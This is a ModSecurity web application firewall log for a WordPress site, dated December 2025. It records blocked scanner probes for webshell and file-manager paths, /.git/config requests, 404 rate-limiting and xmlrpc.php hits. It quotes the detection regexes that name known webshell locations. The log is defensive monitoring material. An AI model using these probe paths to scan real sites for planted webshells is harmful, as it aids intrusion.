[Tue Dec 16 04:08:26.628726 2025] [:error] [pid 33916:tid 33953] [client 45.154.138.19:64741] [client 45.154.138.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aUBquiZs6NytTdwKTkT1DwAAAEc"]
[Tue Dec 16 04:08:28.971915 2025] [:error] [pid 58731:tid 58735] [client 45.154.138.44:61239] [client 45.154.138.44] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aUBqvPfMdtvgyth4ND6TAQAAAUI"]
[Tue Dec 16 04:08:34.050024 2025] [:error] [pid 33917:tid 33988] [client 45.154.138.43:62197] [client 45.154.138.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aUBqwrzjvOPCow0iasGbkgAAAI8"]
[Tue Dec 16 04:08:40.767325 2025] [:error] [pid 58449:tid 58459] [client 45.154.138.15:31339] [client 45.154.138.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aUBqyBy4x-l6LcLg3EexyQAAAQc"]
[Tue Dec 16 04:08:42.721565 2025] [:error] [pid 33917:tid 33992] [client 45.154.138.35:34031] [client 45.154.138.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aUBqyrzjvOPCow0iasGb8gAAAJM"]
[Tue Dec 16 04:08:43.552678 2025] [:error] [pid 34008:tid 34028] [client 45.154.138.41:31941] [client 45.154.138.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aUBqyxMSzjEG4A-bhxxavQAAANI"]
[Tue Dec 16 04:08:45.444018 2025] [:error] [pid 58449:tid 58456] [client 45.154.138.41:32653] [client 45.154.138.41] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aUBqzRy4x-l6LcLg3Eex-gAAAQQ"]
[Tue Dec 16 04:08:47.171656 2025] [:error] [pid 33915:tid 33927] [client 45.154.138.8:44263] [client 45.154.138.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aUBqzzmKDDHksiQDo85MNQAAAAg"]
[Tue Dec 16 04:08:48.485859 2025] [:error] [pid 33917:tid 33988] [client 45.154.138.16:59473] [client 45.154.138.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aUBq0LzjvOPCow0iasGcOAAAAI8"]
[Tue Dec 16 04:08:50.527983 2025] [:error] [pid 34008:tid 34012] [client 45.154.138.24:56821] [client 45.154.138.24] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aUBq0hMSzjEG4A-bhxxbFQAAAMI"]
[Tue Dec 16 04:08:52.215005 2025] [:error] [pid 34008:tid 34030] [client 45.154.138.235:51557] [client 45.154.138.235] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aUBq1BMSzjEG4A-bhxxbNQAAANQ"]
[Tue Dec 16 04:08:53.535231 2025] [:error] [pid 58449:tid 58454] [client 45.154.138.10:32119] [client 45.154.138.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aUBq1Ry4x-l6LcLg3EeyYwAAAQI"]
[Tue Dec 16 04:08:54.663504 2025] [:error] [pid 33917:tid 33990] [client 45.154.138.42:63341] [client 45.154.138.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aUBq1rzjvOPCow0iasGcpwAAAJE"]
[Tue Dec 16 04:08:58.069697 2025] [:error] [pid 34008:tid 34021] [client 45.154.138.101:43279] [client 45.154.138.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aUBq2hMSzjEG4A-bhxxbfAAAAMs"]
[Tue Dec 16 04:09:00.397542 2025] [:error] [pid 58449:tid 58459] [client 45.154.138.33:40261] [client 45.154.138.33] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aUBq3By4x-l6LcLg3EeysQAAAQc"]
[Tue Dec 16 04:09:03.335120 2025] [:error] [pid 58731:tid 58744] [client 45.154.138.15:62253] [client 45.154.138.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aUBq3_fMdtvgyth4ND6VCgAAAUs"]
[Tue Dec 16 04:09:04.633964 2025] [:error] [pid 58731:tid 58743] [client 45.154.138.1:28799] [client 45.154.138.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aUBq4PfMdtvgyth4ND6VHAAAAUo"]
[Tue Dec 16 04:09:09.211499 2025] [:error] [pid 33915:tid 33938] [client 45.154.138.16:45865] [client 45.154.138.16] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aUBq5TmKDDHksiQDo85NLAAAABM"]
[Tue Dec 16 04:09:11.434315 2025] [:error] [pid 33915:tid 33931] [client 45.154.138.39:32493] [client 45.154.138.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aUBq5zmKDDHksiQDo85NSQAAAAw"]
[Tue Dec 16 04:09:12.600937 2025] [:error] [pid 58449:tid 58473] [client 45.154.138.31:42215] [client 45.154.138.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aUBq6By4x-l6LcLg3EezSQAAARQ"]
[Tue Dec 16 04:09:14.442025 2025] [:error] [pid 33916:tid 33953] [client 45.154.138.12:43255] [client 45.154.138.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aUBq6iZs6NytTdwKTkT4HAAAAEc"]
[Tue Dec 16 04:09:16.159048 2025] [:error] [pid 33917:tid 33978] [client 45.154.138.36:26359] [client 45.154.138.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aUBq7LzjvOPCow0iasGdpAAAAIU"]
[Tue Dec 16 04:09:18.175054 2025] [:error] [pid 58449:tid 58462] [client 45.154.138.48:25093] [client 45.154.138.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aUBq7hy4x-l6LcLg3EezlgAAAQo"]
[Tue Dec 16 04:09:19.913237 2025] [:error] [pid 33916:tid 33953] [client 45.154.138.7:29481] [client 45.154.138.7] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aUBq7yZs6NytTdwKTkT4jAAAAEc"]
[Tue Dec 16 04:09:20.766811 2025] [:error] [pid 58731:tid 58736] [client 45.154.138.12:46073] [client 45.154.138.12] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aUBq8PfMdtvgyth4ND6WTwAAAUM"]
[Tue Dec 16 04:18:51.106821 2025] [:error] [pid 65268:tid 65334] [client 159.89.42.101:42048] [client 159.89.42.101] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aUBtKy1EHj2qTjg0xycGNgAAAIk"]
[Tue Dec 16 04:25:39.097399 2025] [:error] [pid 39049:tid 39075] [client 174.138.83.242:56922] [client 174.138.83.242] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aUBuw4ij2QSiFs0L_3f89QAAAAc"]
[Tue Dec 16 06:58:09.654798 2025] [:error] [pid 18324:tid 18387] [client 52.164.245.44:6864] [client 52.164.245.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "aUCSgaG4um2mD1VpJHKulgAAAIc"]
[Tue Dec 16 06:58:10.152802 2025] [:error] [pid 18322:tid 18335] [client 52.164.245.44:6333] [client 52.164.245.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "aUCSgpsCeWBjrw28XtwhWgAAAAk"]
[Tue Dec 16 06:58:10.653833 2025] [:error] [pid 51991:tid 51999] [client 52.164.245.44:10150] [client 52.164.245.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "aUCSgq7zKCVJSuwV1xZgzAAAAQY"]
[Tue Dec 16 06:58:11.177372 2025] [:error] [pid 18324:tid 18402] [client 52.164.245.44:6886] [client 52.164.245.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pu.php"] [unique_id "aUCSg6G4um2mD1VpJHKumAAAAJY"]
[Tue Dec 16 08:00:27.523360 2025] [:error] [pid 18322:tid 18338] [client 170.106.72.93:42510] [client 170.106.72.93] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUChG5sCeWBjrw28Xtw3RQAAAAw"]
[Tue Dec 16 09:33:13.511378 2025] [:error] [pid 51991:tid 52016] [client 170.106.72.178:34114] [client 170.106.72.178] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUC22a7zKCVJSuwV1xa31AAAARc"]
[Tue Dec 16 09:36:55.558795 2025] [:error] [pid 18322:tid 18343] [client 187.45.59.9:27534] [client 187.45.59.9] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 187.45.59.9, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUC3t5sCeWBjrw28XtxcdQAAABE"]
[Tue Dec 16 09:37:15.815773 2025] [:error] [pid 18322:tid 18344] [client 201.42.217.212:51235] [client 201.42.217.212] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 201.42.217.212, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUC3y5sCeWBjrw28XtxclgAAABI"]
[Tue Dec 16 15:56:47.982926 2025] [:error] [pid 51991:tid 51997] [client 43.164.196.57:55870] [client 43.164.196.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUEQv67zKCVJSuwV1xZW6QAAAQQ"]
[Tue Dec 16 21:02:18.101772 2025] [:error] [pid 12330:tid 12346] [client 43.153.48.240:54006] [client 43.153.48.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUFYWl6iIQEVCIh8V1mS4wAAAYw"]
[Wed Dec 17 03:19:12.809039 2025] [:error] [pid 64837:tid 64913] [client 114.96.103.33:56440] [client 114.96.103.33] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUGwsLoJEzr5Ydl6WcRlTwAAAJM"]
[Wed Dec 17 05:07:56.476354 2025] [:error] [pid 13217:tid 13277] [client 179.131.141.115:59137] [client 179.131.141.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 179.131.141.115, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aUHKLLKPEDQzeQkr6QIKMgAAAIQ"]
[Wed Dec 17 09:16:05.772761 2025] [:error] [pid 45530:tid 45538] [client 49.233.45.47:58106] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aUIEVW4IsXcKlf7LWf_nfAAAAAM"]
[Wed Dec 17 10:31:01.209263 2025] [:error] [pid 45530:tid 45543] [client 38.154.90.45:50987] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUIV5W4IsXcKlf7LWf8GAgAAAAg"]
[Wed Dec 17 10:31:01.209346 2025] [:error] [pid 45532:tid 45614] [client 38.154.90.45:41456] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aUIV5QeWB-JXOyTKNs1hiAAAAJg"]
[Wed Dec 17 10:31:01.300183 2025] [:error] [pid 45530:tid 45559] [client 38.154.90.45:51654] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/sitemap.xml"] [unique_id "aUIV5W4IsXcKlf7LWf8GAwAAABg"]
[Wed Dec 17 10:31:02.555767 2025] [:error] [pid 45532:tid 45597] [client 38.154.90.45:55812] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/robots.txt"] [unique_id "aUIV5geWB-JXOyTKNs1hjgAAAIc"]
[Wed Dec 17 10:31:02.637088 2025] [:error] [pid 45621:tid 45627] [client 38.154.90.45:38055] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/sitemap.xml"] [unique_id "aUIV5uVNGQfJ1rR90pRv7wAAAME"]
[Wed Dec 17 10:31:03.276182 2025] [:error] [pid 45532:tid 45596] [client 38.154.90.45:51973] [client 38.154.90.45] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUIV5weWB-JXOyTKNs1hkgAAAIY"], referer: http://measureyourbrand.com.au
[Wed Dec 17 15:20:45.974108 2025] [:error] [pid 45530:tid 45545] [client 106.54.62.156:55208] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aUJZzW4IsXcKlf7LWf-YjQAAAAo"]
